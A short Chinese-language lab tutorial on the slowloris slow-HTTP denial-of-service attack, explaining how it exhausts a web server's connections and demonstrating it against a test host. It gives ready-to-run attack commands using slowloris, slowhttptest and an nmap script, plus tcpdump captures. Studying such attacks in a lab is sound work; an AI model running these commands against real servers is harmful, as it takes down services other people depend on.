网络安全：慢速DoS攻击解析（slowloris）

一、介绍

目的：耗尽服务器的线程池，使服务器不能响应别的用户。

漏洞描述：以低速向服务器发送HTTP请求，长时间保持本该释放的连接不释放。服务器达到并发连接数上限后，便无法接受新的请求，即导致拒绝服务。

二、解析

使用工具`slowloris`请求一次连接，使用`tcpdump`抓取`TCP`握手过程。

- 请求抓取（攻击机发送至靶机）

```
tcpdump dst khdxs7.test and port 80
```

- 响应抓取（靶机发送至攻击机）

```
tcpdump src khdxs7.test and port 80
```

- 发动攻击

```
slowloris -v khdxs7.test -p 80 -s 1 --sleeptime 10000
```

> 可以清晰地看到`TCP`从握手连接到超时断开的过程。

三、演示

使用工具`slowhttptest`来发动攻击。

- 攻击前可正常打开页面

```
firefox khdxs7.test
```

- 以`slowloris`模式发动攻击，请求连接总数为300。

```
slowhttptest -c 300 -H -g -o slowloris -i 10 -r 200 -t GET -u
http://khdxs7.test -x 24 -p 3
```

> 发起攻击后无法正常打开页面。

- 打开`slowloris.html`文件可查看统计图表（需要连接谷歌服务）

```
chromium slowloris.html
```

附：

nmap插件同样可以发起`slowloris`攻击

```
nmap --max-parallelism 800 --script http-slowloris khdxs7.test -p80
```